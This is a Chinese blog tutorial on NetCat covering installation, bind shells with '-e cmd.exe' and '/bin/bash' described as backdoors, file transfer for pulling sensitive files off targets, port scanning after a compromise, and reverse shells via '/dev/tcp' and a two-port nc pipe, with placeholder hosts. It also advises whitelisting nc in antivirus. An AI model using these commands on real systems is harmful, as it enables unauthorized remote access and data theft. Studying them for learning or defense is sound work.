探索NetCat:网络流量监测与数据传输的利器
从简单的数据传输到复杂的网络调试,NetCat的灵活性和多功能性让人赞叹不已,在这篇文章中我将深入探讨NetCat的魅力,揭示它的基本功能、实用技巧以及在日常工作中的应用场景,发现如何用这一小工具提升的网络技能与效率。
目录
NetCat安装教程
NetCat基础使用
NetCat文件传输
NetCat端口探测
NetCat反弹shell
注意!!!:本文所述的网络安全攻击手段仅供学习和研究目的,旨在提高用户对网络安全威胁的认识,帮助读者加强自身的防护措施。任何使用本文内容进行的攻击行为,均由实施者自行承担相关责任。博主对此不承担任何法律责任或损失赔偿义务。请遵循法律法规,确保在合法的范围内使用所学知识。
NetCat安装教程
Netcat简称为nc,被称为“网络工具的瑞士军刀”,是一个功能强大的网络工具,用于读写网络连接中的数据,它支持多种协议(如TCP和UDP),能够在网络上进行数据传输、调试、监控和安全测试,它的命令行界面使得使用者可以快速实现各种网络任务,非常适合系统管理员和网络安全专业人员使用,其下载地址为:地址 ,我们就以下载1.12的举例吧:
当然下载解压之后,如果电脑没有提前关闭杀软的话nc会被当成病毒给杀掉,我们可以打开杀软将杀掉的exe文件恢复并添加到信任区即可,然后我们点击键盘win键输入“高级系统设置”,点击环境变量,找到系统变量里面的path然后点击编辑:
然后将我们解压好netcat工具的目录编辑到里面,然后一直点击确定即可:
然后我们win+r输入cmd打开终端,在终端中输入nc -help,出现如下情况说明我们安装成功:
NetCat基础使用
创建服务端与客户端连接:这里我们可以借助netcat来分别创建服务端与客户端,然后进行两者简易的通信功能,具体如下所示:
01)创建服务端可以执行如下方法进行操作,cmd打开一个终端执行如下命令:
// -l: 启动监听模式 -p: 监听某个端口的连接
nc -l -p [本地端口]
02)创建客户端可以执行如下方法进行操作,cmd打开第二个终端执行如下命令:
nc [服务器ip] [服务器ip开启的端口号]
接下来在服务器中编写相应的信息进行发送,可以看到我们的客户端能及时的收到我们的消息:
返回shell使用:当我们在服务端执行相应的命令之后,在客户端我们就可以执行命令拿到服务端的cmd权限,当拿到目标机器并且目标机器上存在netcat之后,可以使用netcat建立后门方便后期执行目标机器命令的功能:具体如下所示:
弹回Window系统下的shell可以采取如下方式进行:
01)创建服务端可以执行如下方法进行操作,cmd打开一个终端执行如下命令:
// -l: 启动监听模式 -p: 监听某个端口的连接
// -e cmd.exe: 表示连接之后返回给连接段的程序是cmd.exe
nc -l -p [本地端口] -e cmd.exe
02)创建客户端这里我们使用虚拟机kail系统,虚拟机网络连接方式选择NAT方式,切换到root权限终端执行如下命令:
nc [ip地址] [端口号]
弹回Linux系统下的shell可以采取如下方式进行:
01)创建服务端可以执行如下方法进行操作,打开一个终端执行如下命令:
nc -l -p [端口号] -e /bin/bash
02)创建客户端这里我们使用window系统,终端执行如下命令:
当然netcat还有一些其他的使用命令,这里就不再一一赘述了,具体可参考如下:
// 参数 + 说明
-C 类似-L选项,一直不断连接[1.13版本新加的功能]
-d 后台执行
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway 源路由跳数,最大值为8(source-routing hop point[s],up to 8)
-G num 源路由指针:4,8,12,... (source-routing pointer: 4,8,12,...)
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式,[netcat-1.15可以:远程nc -ulp port -e cmd.exe,本地nc -u ip port连接,得到一个shell.]
-v 详细输出——用两个-v可得到更详细的内容
-w secs 指定超时的时间
-z 将输入输出关掉——用于扫描时
NetCat文件传输
NetCat工具还提供了文件传输的操作,具体的使用场景主要有以下两个方面可以进行:
取证:当目标机器被黑客攻击之后取证任意可以利用NC的文件传输功能来获取目标机器上的文件内容,避免直接在目标机器上进行操作造成的取证误差。
下载:当目标机器上有一些敏感文件内容无非正常下载时,可以利用NC来进行文件传输。
客户端向服务端传输:接下来我们可以实现在客户端中往服务端传递文件,具体如下所示:
01)创建服务端,终端执行如下命令将接收的文件重命名然后报错当前路径:
nc -l -p 4444 > test.txt
02)创建客户端,终端执行如下命令将当前路径下的文件传输给具体ip和端口的服务器:
nc [服务器ip] [服务器端口] < [传输文件]
服务端向客户端传输:传输方式无非是和上面的命令反着来而已,这里我们再将上面传输给服务端的test.txt文件再传递给客户端,这里直接演示:
NetCat端口探测
当获取到目标权限之后,如果目标机器没有任何途径可以对内网进行探测,但此时刚好有一个netcat的情况下,就可以使用netcat对目标机器进行内网ip的一个端口扫描,具体使用的命令如下所示:
// -v: 表示对错误进行详细输出
// -n: 不对目标机进行DNS解析
// -z: zero I/O 模式,专业对端口扫描,表示对目标IP发送的数据包不包含任何payload
// -w1: 超时设置1秒
nc -v -n -z -w1 [目标ip] [开始端口-结束端口]
如下我们对我们目标主机进行一个端口扫描:
当然如果要扫描范围的端口的话可能还需要等待一段时间,如果仅仅是扫描单个端口的话直接输入单个端口即可,扫描的非常迅速:
如果向查看本机的端口开放情况,可以终端执行 netstat -ano 命令进行查看:
Banner抓取:Banner是网络服务在连接时发送的初始信息,通常包含关于该服务的名称、版本号和其他相关信息,这些信息可以帮助用户或安全专家识别正在运行的服务,了解其配置和潜在的漏洞:
使用Netcat进行Banner抓取是指通过连接到某个网络服务(如HTTP、FTP、SMTP等)并获取服务的“横幅”(banner)信息,这个横幅通常包含关于服务版本、协议和其他有用信息,能够帮助安全专家识别潜在的漏洞或配置问题,具体命令如下所示:
// echo " " 使用echo输出什么都没有的" "
// | 通过管道连接发送到对应端口服务上
echo " " | nc -v -n -w1 [目标地址] [开始端口-结束端口]
如果端口开放的情况下,端口扫描就会顺便把该端口的banner信息打印出来:
UDP端口扫描:有时候目标主机上有一些防护软件(防火墙),我们不能通过上面常规的TCP去扫描它的端口服务,这个时候我们就可以使用UDP对目标进行扫描,可以简单的绕过防火墙缺点是扫描的结果可能不是太准确,具体命令如下所示:
// -u: 参数使用UDP
nc -u -z -v [目标IP] [目标端口]
NetCat反弹shell
如果纯真某些时候拿到服务器权限之后想要设置一个反弹shell,但是目标服务器上没有安装netcat的情况下,这里时候我们就需要采取别的方式进行处理了,这里我们以bash反弹shell的方向进行举例说明:
1)客户端监听接收netcat命令,终端执行如下命令:
nc -lvp [监听端口]
2)没有安装nc的服务器反弹shell命令,终端执行如下命令:
bash -i >& /dev/tcp/[客户端ip]/[客户端监听端口] 0>&1
命令解释介绍:
bash -i >& /dev/tcp/ip/port 0>&1
在命令中bash-i表示已交互模式运行bashshell。重定向符>&,如果是在其后加文件描述符,是将bash-i交互模式传递给文件描述符,而如果其后是文件,则将bash-i交互模式传递给文件。
dev/tcp/ip/port:表示传递给远程主机的IP地址对应的端口
文件描述符:0标准输入、1标准输出、2错误输入输出
命令中的0>&1表示将标准输入重定向到标准输出,实现远程的属于可以在远程输出对应内容
达到的效果如下所示,可以看到我们拿到了我们的linux服务器的shell,并且可以查看其文件信息了,这里有一个编码问题,后期处理掉即可:
如果拿到服务器权限之后想要设置一个反弹shell,可能存在一些防护软件或防火墙配置原因不支持nc的-e参数命令,这里我们可以采用如下的方式进行解决:
1)客户端同时监听两个端口(一个端口作为输入;另一个作为输出),打开两个终端执行:
// 终端1
nc -lvp 4445
// 终端2
nc -lvp 4446
2)服务端执行如下反弹shell命令:
nc ip port | /bin/bash | nc ip port
在上面命令中,在攻击测试机器上开启两个NC,其中一个作为输入,另一个作为输出,目标机器上,使用管道来重定向输入和输出,输入通过管道传给/bin/bash再通过管道来传递给输出,具体如下所示:
相关文章:

探索NetCat:网络流量监测与数据传输的利器
从简单的数据传输到复杂的网络调试,NetCat的灵活性和多功能性让人赞叹不已,在这篇文章中我将深入探讨NetCat的魅力,揭示它的基本功能、实用技巧以及在日常工作中的应用场景,发现如何用这一小工具提升的网络技能与效率。 目录 Net…...

【运动的&足球】足球运动员球守门员裁判检测系统源码&数据集全套:改进yolo11-DBBNCSPELAN
改进yolo11-FocalModulation等200全套创新点大全:足球运动员球守门员裁判检测系统源码&数据集全套 1.图片效果展示 项目来源 人工智能促进会 2024.10.28 注意:由于项目一直在更新迭代,上面“1.图片效果展示”和“2.视频效果展示…...
求最大公约数,最小公倍数
输入两个正整数 m 和 n,求其最大公约数和最小公倍数。 求最小公倍数算法: 最小公倍数 两整数的乘积 最大公约数 根据求最小公倍数的算法,可以看出如果已知最大公约数,就能很容易求出最小公倍数。而通过辗转相除法和相减法&#…...

Android——横屏竖屏
系统配置变更的处理机制 为了避免横竖屏切换时重新加载界面的情况,Android设计了一中配置变更机制,在指定的环境配置发生变更之时,无需重启活动页面,只需执行特定的变更行为。该机制的视线过程分为两步: 修改 Androi…...

scala---10.30
val、var package com_1030class Person {var name:String"rose"def sum(n1:Int,n2:Int):Int{n1n2} } object Person{def main(args: Array[String]): Unit {//创建person对象var personnew Person()println(person.sum(10,20))//30println(person.name)person.nam…...

Pinctrl子需要中client端使用pinctrl过程的驱动分析
往期内容 本专栏往期内容: Pinctrl子系统和其主要结构体引入Pinctrl子系统pinctrl_desc结构体进一步介绍Pinctrl子系统中client端设备树相关数据结构介绍和解析inctrl子系统中Pincontroller构造过程驱动分析:imx_pinctrl_soc_info结构体 input子系统专栏…...

【网络】传输层协议TCP
目录 四位首部长度 序号 捎带应答 标记位 超时重传机制 连接管理机制(RST标记位) 三次握手及四次挥手的原因 TCP的全称是传输控制协议(Transmission Control Protocol),也就是说,对于放到TCP发送缓冲…...

00-开发环境 MPLAB IDE 配置
MPLAB IDE V8.83 File 菜单简介 New (CtrlN): 创建一个新文件,用于编写新的代码。 Add New File to Project...: 将新文件添加到当前项目中。 Open... (CtrlO): 打开现有文件。 Close (CtrlE): 关闭当前打开的文件。 …...
<meta property=“og:type“ content=“website“>
<meta property"og:type" content"website"> 这段代码是HTML中的一部分,具体来说,它是一个用于定义Open Graph协议的meta标签。 代码分析 <meta> 标签:这是一个HTML标签,用于在HTML文档的头…...

C++ 实现俄罗斯方块游戏
✅作者简介:2022年博客新星 第八。热爱国学的Java后端开发者,修心和技术同步精进。 🍎个人主页:Java Fans的博客 🍊个人信条:不迁怒,不贰过。小知识,大智慧。 💞当前专栏…...

QT打包Macosx应用发布App Store简易流程
1、QC里编译工程,生成Release版的的app文件; 2、运行macdeployqt把需要的文件打包进app文件中; % ~/Qt/5.15.0/clang_64/bin/macdeployqt {编译的app文件所在路径}/Release/xxxx.app 3、使用codesign对app进行签名,如果要发App…...

untiy mlagents 飞机大战 ai训练
前言 之前那个python源码的飞机大战bug过多,还卡顿,难以继续训练。可直接放弃的话又不甘心,所以找了个unity版本的飞机大战继续(终于不卡了),这次直接使用现成的mlagents库。 过程 前前后后花了两周时间,甚至因此拖…...

从0开始学统计-什么是中心极限定理
引言 中心极限定理(Central Limit Theorem, CLT)是统计学中的一块基石,它揭示了一个难以置信的数学现象:无论一个随机变量的原始分布如何,只要我们取足够大的样本量,这些样本的平均值(或总和&a…...
工具方法 - 个人活动的分类
人类活动的分类是一个复杂的话题,因为人类的活动范围非常广泛且相互交叉。然而,我们可以尝试将人类的活动大致分为以下几个主要类别: 工作活动 工作活动是人类生活中不可或缺的一部分,通常包括以下方面: 1. 职业工作&a…...

11.1组会汇报-基于区块链的安全多方计算研究现状与展望
基础知识 *1.背书,这个词源来自银行票据业务,是指票据转让时,原持有人在票据背面加盖自己的印鉴,证明该票据真实有效、如果有问题就可以找原持有人。 区块链中的背书就好理解了。可以简单的理解为验证交易并声明此交易合法&…...

ubuntu【桌面】 配置NAT模式固定IP
DHCP分配导致虚拟机IP老变,SSH老要重新配置,设成静态方便些 一、设NAT模式 1、设为NAT模式 2、看模式对应的虚拟网卡 - VMnet8 3、共享主机网卡网络到虚拟网卡 - VMnet8 二、为虚拟网卡设置静态IP 记住这个IP 三、设置ubuntu固定IP 1、关闭DHCP并…...

评估 机器学习 回归模型 的性能和准确度
回归 是一种常用的预测模型,用于预测一个连续因变量和一个或多个自变量之间的关系。 那么,最后评估 回归模型 的性能和准确度非常重要,可以帮助我们判断模型是否有效并进行改进。 接下来,和大家分享如何评估 回归模型 的性能和准…...

如何下载安装TestLink?
一、下载TestLink、XAMPP TestLink 下载 |SourceForge.net 备用:GitHub - TestLinkOpenSourceTRMS/testlink-code: TestLink开源测试和需求管理系统 下载XAMPP: Download XAMPP 注意:TestLink与PHP版本有关系,所以XA…...

基于SSM+微信小程序的订餐管理系统(点餐2)
👉文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1、项目介绍 基于SSM微信小程序的订餐管理系统实现了管理员和用户。管理端实现了 首页、个人中心、用户管理、菜品分类管理、菜品信息管理、订单信息管理、配送信息管理、菜品评价管理、订单投诉管理、…...

【C++排序 双指针】1996. 游戏中弱角色的数量|1996
本文涉及的基础知识点 排序 C算法:滑动窗口及双指针总结 本题其它解法 【C单调栈 排序】1996. 游戏中弱角色的数量|1996 LeetCode1996. 游戏中弱角色的数量 你正在参加一个多角色游戏,每个角色都有两个主要属性:攻击 和 防御 。给你一个…...

铭豹扩展坞 USB转网口 突然无法识别解决方法
当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…...
React 第五十五节 Router 中 useAsyncError的使用详解
前言 useAsyncError 是 React Router v6.4 引入的一个钩子,用于处理异步操作(如数据加载)中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误:捕获在 loader 或 action 中发生的异步错误替…...
C++:std::is_convertible
C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...
java 实现excel文件转pdf | 无水印 | 无限制
文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...

【网络安全产品大调研系列】2. 体验漏洞扫描
前言 2023 年漏洞扫描服务市场规模预计为 3.06(十亿美元)。漏洞扫描服务市场行业预计将从 2024 年的 3.48(十亿美元)增长到 2032 年的 9.54(十亿美元)。预测期内漏洞扫描服务市场 CAGR(增长率&…...

全球首个30米分辨率湿地数据集(2000—2022)
数据简介 今天我们分享的数据是全球30米分辨率湿地数据集,包含8种湿地亚类,该数据以0.5X0.5的瓦片存储,我们整理了所有属于中国的瓦片名称与其对应省份,方便大家研究使用。 该数据集作为全球首个30米分辨率、覆盖2000–2022年时间…...

对WWDC 2025 Keynote 内容的预测
借助我们以往对苹果公司发展路径的深入研究经验,以及大语言模型的分析能力,我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际,我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测,聊作存档。等到明…...
将对透视变换后的图像使用Otsu进行阈值化,来分离黑色和白色像素。这句话中的Otsu是什么意思?
Otsu 是一种自动阈值化方法,用于将图像分割为前景和背景。它通过最小化图像的类内方差或等价地最大化类间方差来选择最佳阈值。这种方法特别适用于图像的二值化处理,能够自动确定一个阈值,将图像中的像素分为黑色和白色两类。 Otsu 方法的原…...
Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!
一、引言 在数据驱动的背景下,知识图谱凭借其高效的信息组织能力,正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合,探讨知识图谱开发的实现细节,帮助读者掌握该技术栈在实际项目中的落地方法。 …...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...